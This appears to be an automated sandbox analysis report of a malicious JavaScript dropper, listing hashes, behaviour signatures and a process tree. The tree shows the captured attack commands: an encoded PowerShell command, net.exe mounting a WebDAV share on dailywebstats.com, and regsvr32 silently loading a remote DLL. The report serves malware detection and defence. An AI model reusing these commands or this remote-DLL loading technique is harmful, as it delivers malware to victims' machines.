Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 16:17

General

  • Target

    114912618245220744.js

  • Size

    10KB

  • MD5

    7a65b0e2eaf76b4f3cc24d89e1eee797

  • SHA1

    beedbfcbe9b51fc2a4fa1c317f639409ef0b5530

  • SHA256

    52468d68e5d67b71243b8dc6ce684638c56c81e8aee1478035dd1c53ec5f6172

  • SHA512

    b1250568975941e1d6043048a65eddb86e8fcc9e555a3ec78c2c35176d8f3cca191cf2a8e1e12680c8acaa8fb8b98304a328ea11d0a9513bb09b783fe38b0d44

  • SSDEEP

    192:85M1Nd1YehF2+ns2fa5Ivp3hrXjapbrRMdhrXjapYD:oyjSyF2gs2fGIBxLjEbrRMHLjES

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\114912618245220744.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMANgAxADQANgA1ADUAOQAxADYANwA2ADIALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3748
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:1784
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\3614655916762.dll
          3⤵
            PID:556

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hh4tkukh.2fa.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3748-0-0x00007FFB19663000-0x00007FFB19665000-memory.dmp

        Filesize

        8KB

      • memory/3748-3-0x0000022676A80000-0x0000022676AA2000-memory.dmp

        Filesize

        136KB

      • memory/3748-11-0x00007FFB19660000-0x00007FFB1A121000-memory.dmp

        Filesize

        10.8MB

      • memory/3748-12-0x00007FFB19660000-0x00007FFB1A121000-memory.dmp

        Filesize

        10.8MB

      • memory/3748-15-0x00007FFB19660000-0x00007FFB1A121000-memory.dmp

        Filesize

        10.8MB